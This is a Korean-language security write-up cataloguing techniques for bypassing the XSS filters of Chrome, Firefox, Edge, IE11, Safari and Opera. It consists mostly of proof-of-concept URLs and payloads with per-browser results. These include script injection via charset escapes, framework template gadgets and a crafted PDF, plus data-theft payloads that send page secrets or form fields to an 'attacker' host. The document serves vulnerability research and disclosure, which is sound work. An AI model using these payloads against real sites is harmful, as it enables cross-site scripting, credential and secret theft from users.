Docs

브라우저 XSS 필터 우회의 모든 것

이 글은 XSS Auditor, XSS 필터의 우회에 대해 다루고 있다.
대상은 Chrome, Firefox, Edge, IE11, Safari, Opera 이다.
만약 당신이 취약점 진단 업무를 하고있다면 XSS 필터의 우회가 가능하다는 사실을 널리 알리기 위해서 더 많은 우회 방법을 찾아서 알려주십시오.
또한 이 글은 일반적인 상황에서 우회 가능한 케이스에 대해서만 다루고 있다.
여기에서 다루지 않더라도 실제 상황에서는 더 다양한 방법이 있을 수 있다.
당신이 보안 담당자라면 XSS 필터의 존재와 관계없이 근본적인 XSS 대책을 수립하는것을 권장한다.

MS Edge는 Windows 10 Build 17723 부터 XSS 필터가 삭제되었다.
이 글에서 Edge 브라우저는 XSS 필터가 아직 존재하는 버전을 사용해 테스트되었다.

목차

  • XSS Auditor(Chromium)
    • 차단 대상이 아닌 것
      • 문자열 리터럴에서 일어나는 XSS
      • URL 단독으로 성립하는 XSS(입력값이 a태그의 href속성에 직접 들어가는 경우)
      • 2개 이상의 인젝션 포인트가 있는 경우
      • 문자열이 조작되는 경우
        • 삭제되는 경우
        • 치환되는 경우
      • Request값을 document.write() 하는 경우를 제외한 DOM based XSS
      • XML 페이지에서의 XSS
      • http(s): 링크 만들기
      • 외부로 Request를 만들 수 있는 태그
      • 임의의 CSS 실행
    • 필터 우회
      • SVG 애니메이션 효과의 values 속성을 사용
      • 여러개의 null문자를 사용
      • script태그의 -​-> 주석을 사용
      • 어중간한 base 태그의 사용
        • Flash 사용
        • 상대경로로 js파일을 로드하는 스크립트 사용
      • ISO-2022-JP 이스케이프 시퀀스 사용
      • 동일한 도메인의 리소스 사용
        • Path를 사용한 XSS
        • 파일 업로드 기능 사용
        • Flash와 flashvars의 사용
        • Flash와ExternalInterface.objectID와 ExternalInterface.call()의 사용
        • Angular의 사용
        • Vue.js의 사용
        • jQuery의 사용
        • underscore.js의 사용
        • JSXTransformer/babel-standalone등의 JSX 변환 스크립트 사용
      • document.write()될 때 어중간한 태그를 사용
      • 어중간한 form태그의 사용(민감 정보 취득 가능)
  • IE/Edge의 XSS 필터
    • 차단 대상이 아닌 것
      • 문자열 리터럴에서 일어나는 XSS
      • 완전한 DOM based XSS
      • 2개 이상의 인젝션 포인트가 있는 경우
      • 문자열 조작이 있는 경우
        • 삭제되는 경우
        • 치환되는 경우
      • 외부에 요청을 보낼 수 있는 태그
    • 필터 우회
      • XML namespace로 위장한 문자열 사용
      • HZ-GB-2312 이스케이프 시퀀스 사용
      • 페이지 이동시의 인코딩 동작의 이용
      • Adobe Acrobat Reader 플러그인을 사용
      • XML을 이용한 Content Sniffing
      • UTF-7 BOM을 사용
      • <?PXML>을 사용
      • referer를 사용
        • 같은 도메인(서브도메인 포함) 내에 있는 링크 사용
        • 2중으로 링크를 걸어 referer 생성
        • 취약한 form의 전송 이전의 상태를 조작 가능한 경우
        • option태그의 사용
        • 비어있는 iframe태그의 사용
      • formaction의 사용 (민감 정보 취득 가능)
      • CSS의 참조 구문 이용(CSS 값 조작 가능시)

XSS Auditor

차단 대상이 아닌 것

처음부터 필터링이 적용되지 않는 상황에서는 별다른 조작없이 스크립트의 실행이 가능함

문자열 리터럴에서 일어나는 XSS

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//

<script>var q="";alert(1)//"</script>
OOXXOO

URL 단독으로 성립하는 XSS(입력값이 a태그의 href속성에 직접 들어가는 경우)

https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)

<a href="javascript:alert(1)">Link</a>
OOXXOO

2개 이상의 인젝션 포인트가 있는 경우

(차단할 수 있을것으로 보이지만, 과거에 보고된 케이스에서 ( #96616 #403636 ) Will not Fix 를 받았기에, 차단 대상이 아닌 것으로 분류함)

https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60

<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>
OOXXOO

문자열이 조작되는 경우

일부 문자열이 삭제되거나 치환될 때 해당 문자열을 페이로드 사이에 넣어 차단을 우회할 수 있음

삭제되는 경우

https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)>
↓
<svg onload=alert(1)>
OOOOOO

치환되는 경우

https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/script%3E

<script>/&/-alert(1)</script>
↓
<script>/&amp;/-alert(1)</script>
OOXXOO

Request값을 document.write() 하는 경우를 제외한 DOM based XSS

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E

<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>
OOOOOO

https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)

<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>
OOOOOO

XML 페이지에서의 XSS

https://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

<?xml version="1.0"?><html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></html>
OOOOOO

혹은 페이지의 가장 앞에 문자열을 쓸 수 있으며, Content-Type이 text/html로 설정되지 않고, Content Sniffing이 가능한 경우에도 우회가 가능

https://vulnerabledoma.in/bypass/text?mime=unknown&q=%3C?xml%20version=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

<?xml version="1.0"?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
OOXXOO

다음은 스크립트의 실행은 불가능하지만 악용의 가능성이 존재하는 기법임

http(s):링크 만들기

https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E

<a href=https://attacker/>Session expired. Please login again.</a>
OOXXOO

외부로 Request를 만들 수 있는 태그

따음표 한쪽을 닫지 않은 img 태그를 이용해 외부로 Request를 할 때 그 내용에 비밀 정보를 포함시킬 수 있음

https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=

<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>
OOOOOO

임의의 CSS 실행

페이지의 내용을 모방할 뿐만 아니라 페이지 내에 중요한 정보가 담겨있을 때 CSS만을 사용해 정보를 탈취할 수 있음 자세한 내용은 URL 참고.

참고URL:

https://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E

<style>@import '//attacker/test.css'</style>
OOXXOO

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=stylesheet%20href=//attacker/test.css%3E

<link rel=stylesheet href=//attacker/test.css>
OOXXOO

필터 우회

SVG 애니메이션 효과의 values 속성을 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20
attributeName=%22xlink:href%22%20values=%22%26%23×3000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=
100%20height=100%20/%3E%3C/a%3E

<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" />
<a id=x><rect width=100 height=100 /></a>
XOXXXO

FireFox에서는 values=”javascript:alert(1)” 로 주면 우회가 가능함

여러개의 null문자를 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. null 바이트가 출력이 됨
  3. 페이로드의 바로 앞에 공백문자가 존재하지 않음

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%00%00%00%00%00%00%00%3Cscript%3Ealert(1)%3C/script%3E

[0x00][0x00][0x00][0x00][0x00][0x00][0x00]<script>alert(1)</script>
XOXXXO

script태그의 –> 주석을 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 페이로드의 뒤에 개행문자가 없이 script태그를 닫음

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=9&q=%3Cscript%3Ealert(1)%0A–%3E

<div><script>alert(1)
--></div><script src=/test.js></script>
XOXXXO

어중간한 base 태그의 사용

Flash 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 페이로드의 바로 뒤에 공백문자 혹은 ‘, ” 가 존재
  3. 공격 타겟이 flash를 이용 가능

참고URL:

PoC:

(바로 뒤에 공백이 없는 경우)
https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
XXXXXO

(바로 뒤에 공백이 있는 경우)
https://vulnerabledoma.in/bypass/text?type=4&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/

<div> <embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/ </div><div id="x"></div>
XXXXXO

상대경로로 js파일을 로드하는 스크립트 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 페이로드의 바로 뒤에 공백문자 혹은 ‘, “가 존재
  3. 페이로드의 바로 뒤에 상대경로로 js파일을 로드함

PoC:

https://vulnerabledoma.in/bypass/text?type=9&q=%3Cbase%20href=//cors.l0.cm/

<div><base href=//cors.l0.cm/</div><script src=/test.js></script>
XOXXXO

ISO-2022-JP 이스케이프 시퀀스 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 페이지에 언어셋 지정이 없음

보충:

ISO-2022-JP의 HTML 중에서 [0x1B](B[0x1B](H[0x1B](J라는 문자열은 무시됨. 이것을 이벤트핸들러 사이에 끼워넣음으로써 우회가 가능.
또, Chrome/Safari에서는 [0x1B]$@[0x0A]라는 문자열이 [0x0A]와 같게 취급되지만, XSS Auditor는 해석하지 못하여 우회가 가능.

참고URL:

PoC:

<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>
OOXXOO

(※ $기호가 임의로 인코딩되어 의도대로 동작하지 않기 때문에 $를 포함하는 방법으로 우회가 가능)

<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>
OXXXOO

동일한 도메인의 리소스 사용

XSS Auditor는 쿼리가 포함되지 않은 동일한 도메인으로부터의 리소스 사용을 차단하지 않음
동일한 도메인에 공격에 필요한 파일을 업로드 할 수 있을 경우에 우회가 가능한 케이스가 존재함

Path를 사용한 XSS

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 요청하는 페이지의 주소에 쿼리가 포함되지 않음

PoC:

https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E%22%3E

PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">
OXXXOX

파일 업로드 기능 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 사용자가 업로드한 파일이 같은 오리진내에 업로드 됨

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E

<script src=/bypass/usercontent/xss.js></script>
OOXXOO

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E

<link rel=import href=/bypass/usercontent/icon.jpg>
OXXXOX

Flash와 flashvars의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 ExternalInterface.call() 함수에 이스케이프 되지 않은 문자열을 파라미터로 넘겨주는 Flash가 존재
  3. 공격 타겟이 flash를 이용 가능

보충:

flashvars속성을 사용하면, Flash에서 파라미터를 부여하지 않아도 파라미터가 전송됨
(= Flash에서는 XSS 대책의 일환으로 URL에 직접 파라미터를 넘기는 것이 제한되어 있지만, flashvars를 사용하는 경우에는 가능함)
또한, Content-Security-Policy: default-src 'self'와 같은 CSP가 설정되어 있는 경우, CSP의 우회에도 사용이 가능함

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}
catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E

<embed name=a flashvars='autoplay=true&file="})\")-(alert=alert(1)))}catch(e){}//'
allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
OOXXOO

ActionScript:

ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);

Flash와 ExternalInterface.objectID와 ExternalInterface.call()의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 ExternalInterface.objectIDExternalInterface.call()으로 넘겨지는 Flash가 존재
  3. 공격 타겟이 flash를 이용 가능

보충:

플래시를 embed할 때 해당 태그의 name 속성이 ExternalInterface.objectID 값으로 설정됨
단독으로는 XSS가 불가능하지만, 우회에 악용될 수 있음
Content-Security-Policy: default-src 'self'와 같은 CSP가 설정되어 있는 경우, CSP의 우회에도 사용이 가능함

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=%27alert(1)-
%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E

<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
OOXXOO

ActionScript:

ExternalInterface.call(ExternalInterface.objectID + '_init');

Angular의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 Angular 파일이 존재하거나 CORS에 대응한 CDN으로부터 Angular를 로드하는 페이지가 존재

보충:

Angular는 ng-app이라는 속성을 갖는 태그 내부에서 {{}}로 감싸진 템플릿을 렌더링 함. 이 때 템플릿은 자바스크립트를 실행함

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}

<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}
OOXXOO

같은 오리진내에 CORS에 대응한 CDN으로부터 Angular를 로드하는 페이지가 있다면, HTML Imports로부터 외부 리소스를 간접적으로 로드할 수 있음

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E
{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}
OXXXOX

Vue.js의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 Vue.js 파일이 존재하거나 CORS에 대응한 CDN으로부터 Vue.js를 로드하는 페이지가 존재
  3. 페이지 혹은 같은 오리진내에서 조작된 태그가 템플릿을 통하여 실행될 수 있음

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/vue.html%3E%3Cdiv%20id=app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}
OXXXOX

jQuery의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 jQuery 파일이 존재하거나 CORS에 대응한 CDN으로부터 jQuery를 로드하는 페이지가 존재
  3. 페이지 혹은 같은 오리진내에서 조작된 form태그가 jQuery의 함수를 통하여 실행될 수 있음

보충:

jQuery의 함수는after, before, prepend, append, html, replaceWith, wrap, wrapAll, insertBefore, insertAfter, prependTo, appendTo등이 있음.
ownerDocument라는 name속성을 가진 form을 사용해서 Node.ownerDocument의 참조를 속여
스크립트가 실행되지 않는 환경에서 스크립트를 실행하게 할 수 있음(이러한 기법을 DOM Clobbering라고 부름)
또한, 스크립트의 실행 전에 <!-​​- 를 제거하는 과정과, Auditor에서는 주석을 차단하지 않는 과정이 합쳐져 우회가 가능

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=5&q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!–alert(1)%3C/script%3E%3C/form%3E

<!DOCTYPE html>
<html>
<head>
<script src="/js/jquery-3.2.1.min.js"></script>
<script>
$(document).ready(function(){
    // code taken from http://api.jquery.com/after/
    $( ".container" ).after( $( ".child" ) );
});
</script>
</head>
<body>
<!-- XSS -->
<form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
<!-- XSS -->
<p class="container"></p>
</body>
<!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html -->
</html>
OOXXOX

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/jquery.html%3E%3Cp%20class=
container%3E%3C/p%3E%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E
%3C!-​-alert(1)%3C/script%3E%3C/form%3E

<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
OXXXOX

underscore.js의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 underscore.js 파일이 존재하거나 CORS에 대응한 CDN으로부터 underscore.js를 로드하는 페이지가 존재
  3. 페이지 혹은 같은 오리진내에서 조작된 script태그가 템플릿을 통하여 실행될 수 있음

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/underscore.html%3E%3Cscript%20id=template%3E//%3C%alert`1`%%3E%3C/script%3E

<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>
OXXXOX

JSXTransformer/babel-standalone등의 JSX 변환 스크립트 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 같은 오리진내에 JSXTransformer.js 등의 JSX 변환 스크립트 파일이 존재하거나 CORS에 대응한 CDN으로부터 해당 파일을 로드하는 페이지가 존재

보충:

변환 스크립트가 SVG의 스크립트 블록을 HTML의 스크립트 블록으로 컴파일하는 점을 사용하여 실행하지 않는 주석 부분인 <!-​- -​-> 부분을 스크립트로 인식함

PoC:

https://vulnerabledoma.in/bypass/text?charset=utf-8&type=1&q=%3Clink%20rel=import%20href=/bypass/babel-
standalone.html%3E%3Csvg%3E%3Cscript%20type=%22text/jsx%22%3E//%3C!–%0aalert(1)//–%3E%3C/svg%3E%3Cscript%3E0%3C/script%3E

<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!--
alert(1)//--></svg><script>0</script>
OXXXOX

document.write()될 때 어중간한 태그를 사용

공격 가능 조건:

  1. URL을 document.write() 하는 XSS 취약점이 존재
  2. 공격에 사용되는 태그가 document.write() 될 때 뒤에 html 태그가 존재함 (PoC에서는 </body>를 활용)

참고URL:

PoC:

https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)//

<body>
<script>
hash=location.hash.slice(1);
document.write(decodeURIComponent(hash));
</script>
</body>
OOOOOX

Chrome, Firefox, Edge, IE에서는 > 로 태그를 닫아도 정상적으로 XSS 필터 우회가 가능함

오직 Opera에서만 어중간한 태그를 사용해 XSS 필터를 우회해야 함

document.write() 함수 뒤에 다른 태그가 존재할 경우에 어중간한 태그가 작성된 후에

다른 태그의 > 가 어중간한 태그를 닫는 역할을 해줌. PoC의 경우에 document.body.innerHTML 값은
<img src=”x” onerror=”alert(1)//” <=”” body=””> 가 됨

어중간한 form태그의 사용(민감 정보 취득 가능)

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 새로 form 태그를 써 민감 정보를 포함한 기존의 form내용의 action값을 바꿔치기 할 수 있음

참고URL:

PoC:

(form 내부에 존재) https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/

<form action="form">
<input type="hidden" name="q" value=""></form><form action=https://attacker/">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>
XOOOXO

(form 외부에 존재) https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/

<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action="form2">
<input type="hidden" name="secret" value="a09d3ef0">
</form>
XOOXXO

IE/Edge의 XSS 필터

차단 대상이 아닌 것

문자열 리터럴에서 일어나는 XSS

보충:

이전에는 문자열 리터럴 차단조건이 존재했음. 현재도 차단 조건이 부분적으로 남아있지만,
이전에는 차단되었던 location에 대입하는 공격 방법이 허가되었기에 필터가 없는 것과 마찬가지임

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation=’javascript\x3Aalert\x281\x29’//

<script>var q="";location='javascript\x3Aalert\x281\x29'//"</script>
OOOOOO

완전한 DOM based XSS

https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)%3E

<script>
hash=location.hash.slice(1);
document.write(decodeURIComponent(hash));
</script>
XOOOXX

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E

<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>
OOOOOO

https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)

<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>
OOOOOO

2개 이상의 인젝션 포인트가 있는 경우

https://vulnerabledoma.in/bypass/text?type=2&q=%22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22

<div>"src=data:,alert%281%29></script><script x="</div>
<div>"src=data:,alert%281%29></script><script x="</div>
XOOOXX

문자열 조작이 있는 경우

일부 문자열이 삭제되거나 치환될 때 해당 문자열을 페이로드 사이에 넣어 차단을 우회할 수 있음

삭제되는 경우

https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)>
↓
<svg onload=alert(1)>
OOOOOO

치환되는 경우

XSS 필터가 정규표현식에서 .이 의미하는 길이 이상으로 치환하는 경우에는 우회할 수 있음

다음의 경우에는<sc{r}ipt.*?>라는 차단 조건에 매치되지 않도록 &가 길이 이상으로 치환되는 동작을 사용함
/는 0-3글자, &는 0-5글자의 와일드카드이기 때문에, 차단할 수 있는 최대 길이는 8글자임
/&가 치환 후 출력되는 문자열은 10글자이고, 차단할 수 있는 최대 길이인 8글자를 넘으므로 우회가 가능함

PoC:

https://vulnerabledoma.in/bypass/text?type=10&q=%3Cscript/%26%3Ealert(1)%3C/script%3E

<script/&>alert(1)</script>
↓
<script/&amp;amp;>alert(1)</script>
XOOOXO

다음은 스크립트의 실행은 불가능하지만 악용의 가능성이 존재하는 기법임

외부에 요청을 보낼 수 있는 태그

이미지 태그 등의 src 속성의 한 쪽을 닫지 않고 사용하여 민감 정보를 리퀘스트에 포함시킬 수 있음

https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=

<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>
OOOOOO

필터 우회

XML namespace로 위장한 문자열 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 공격 타겟이 flash를 이용 가능
  3. X-XSS-Protection:1; mode-block헤더가 있지 않음

보충:

Edge는 XML namespace가 붙지 않은 태그도 차단함. <embed/:script 로 되어있는 문자열을 보통의 HTML에서 사용하면
원래 embed태그로 해석해야 할 것을, script태그로 해석해 차단에 실패함.
그러나 차단 동작은 실행되었기에 X-XSS-Protection:1; mode-block헤더가 존재할 경우에 우회가 불가능함

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>
XXXXXX

Microsoft Edge 41 기준으로 해당 기법은 패치되어 더이상 통하지 않음을 확인함

HZ-GB-2312 이스케이프 시퀀스 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 페이지에 Content-Type 지정이 없음

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

<x~
onfocus=alert(1) id=a tabindex=0>
XXOOXX

페이지 이동시의 인코딩 동작의 이용

공격 가능 조건:

  1. GET 메소드를 통한 Reflected XSS 취약점이 존재

보충:

IE/Edge는 페이지를 이동할 때 이동 전의 페이지의 언어셋으로 쿼리 문자열을 인코딩해 리퀘스트를 보냄
이 때 XSS 필터는 전송되는 리퀘스트가 아닌 인코딩 된 문자열을 체크하는 것으로 추정됨
인코딩된 문자열과 실제 전송된 문자열이 불일치 할 때 우회가 가능함
이하의 PoC에서는 예시를 위해 x-chinese-cns을 사용함
x-chinese-cns에서는 旡 문자열이 0xA13E에 매핑되어 있음
이 때 x-chinese-cns 언어셋으로 설정된 페이지에게 <script/旡 문자열을 Reflected XSS 페이로드에 포함시켜 전송 할 경우,
전송되는 Request는 旡 문자열을 UTF-8이 아닌 x-chinese-cns로 인코딩하여 <script/0xA1>(0x3E는 >)가 됨
결과적으로 페이지에 <script>가 쓰여짐
보통의 경우에는 <script>태그가 XSS 필터에 걸리겠지만, 이 경우에는 우회가 가능
XSS 필터는 <script/旡 문자열이 차단 조건인 <sc{r}ipt.*?>에 일치하지 않는다고 판단해 차단하지 않는것으로 추측됨

참고URL:

PoC:

<meta charset=utf-8>
<script>
  document.charset="x-chinese-cns";
  location="https://vulnerabledoma.in/bypass/text?q=<script/旡alert(1)<\/script/旡"
</script>
XXOOXX

(속성 값으로만 XSS 공격) https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

<meta charset=utf-8>
<script>
  document.charset="x-chinese-cns";
  location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//"
</script>
XXOOXX

다른 언어셋에서도 인코딩된 문자열과 실제 전송되는 문자열이 불일치 할 경우 우회 가능

(아래는 시스템로케일이 일본어 환경에서는 재현되지만 독일어, 한국어 환경에서는 재현되지 않음.
사소한 동작 원리에 차이가 있을것으로 예상되지만 확실한 동작원리는 원저자도 모르겠다고 함)

Adobe Acrobat Reader 플러그인을 사용

공격 가능 조건:

  1. POST 메소드를 통한 Reflected XSS 취약점이 존재
  2. 공격 타겟이 Adobe Acrobat Reader를 이용 가능

참고URL:

PoC:

https://l0.cm/bypass/ie_postxss_bypass.pdf

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

33 0 obj
<<
/S /SubmitForm
/F
        <<
        % URL TO SUBMIT TO:
        /F (https://vulnerabledoma.in/bypass/text)
        /FS /URL
        >>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj

22 0 obj
<<
    /Fields [23 0 R]
>>
endobj
23 0 obj
<<
    /DA (/Helv 12 Tf 0 g)
    /F 4
    /FT /Tx
    /Rect [ 9.526760 680.078003 297.527008 702.078003 ]
    /Subtype /Widget
    /Type /Annot
    % PARAMETER NAME
    /T (q)
    % PARAMETER PAYLOAD
    /V (<script>alert\(1\)</script>)
    /P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>
XXXXXX

최신 Internet Explorer 기준으로 해당 기법은 패치되어 더이상 통하지 않음을 확인함

XML을 이용한 Content Sniffing

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. X-Content-Type-Options:nosniff 헤더가 있지 않음
  3. 페이지의 가장 앞에 문자열을 쓸 수 있음

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23×29%3B%3C/x:script%3E

<?xml version="1.0"?><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1&#x29;</x:script>
XXXOXX

UTF-7 BOM을 사용

공격 가능 조건:

  1. 페이지의 가장 앞에 문자열을 쓸 수 있음
  2. +, /, -와 같은 기호의 사용이 가능

보충:

+/v8, +/v9, +/v+, +/v/는 UTF-7의 BOM으로 취급됨
IE에서는 이 문자열이 페이지의 가장 앞에 있을 경우에 언어셋을 UTF-7으로 인식함
페이지의 언어셋이 지정된 경우에도 history.back() 을 거치면 페이지의 언어셋이 UTF-7으로 취급됨
